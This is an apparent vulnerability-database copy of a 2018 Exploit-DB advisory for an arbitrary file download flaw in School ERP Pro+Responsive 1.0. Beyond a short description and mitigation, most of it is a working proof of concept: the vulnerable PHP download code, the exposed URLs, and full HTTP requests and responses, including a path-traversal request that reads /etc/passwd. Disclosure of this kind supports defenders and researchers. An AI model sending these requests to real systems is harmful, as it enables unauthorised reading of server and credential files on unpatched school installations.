School ERP Pro+Responsive 1.0 - Arbitrary File Download

vendor:

School ERP Pro+Responsive

by:

Ihsan Sencan

7.5

CVSS

HIGH

Arbitrary File Download

434

CWE

Product Name: School ERP Pro+Responsive

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:arox:school_erp_pro+responsive:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

School ERP Pro+Responsive 1.0 – Arbitrary File Download

School ERP Pro+Responsive 1.0 is vulnerable to arbitrary file download. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow an attacker to download any file from the server, including sensitive files such as /etc/passwd.

Mitigation:

The application should validate the filename and extension of the file being downloaded. The application should also check if the user has the necessary privileges to download the file.

Source

Exploit-DB raw data:

# Exploit Title: School ERP Pro+Responsive 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.arox.in/
# Software Link: https://sourceforge.net/projects/school-management-system-php/files/latest/download
# Software Link: http://erp.arox.in/ http://erp1.arox.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/student_staff/download.php?document=[FILE]
# http://localhost/[PATH]/office_admin/download.php?document=[FILE]
# 
# /[PATH]/student_staff/download.php
# /[PATH]/office_admin/download.php
# ....
# if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
# $file = $_REQUEST['document'];
# header("Content-type: application/force-download");
# header("Content-Transfer-Encoding: Binary");
# header("Content-length: ".filesize($file));
# header("Content-disposition: attachment; filename=\"".$file."\"");
# readfile($file);
# exit;
# }
# ....

GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 12:30:01 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="download.php"
Content-Length: 337
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download

GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 12:31:34 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="../../../../../etc/passwd"
Content-Length: 46368
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download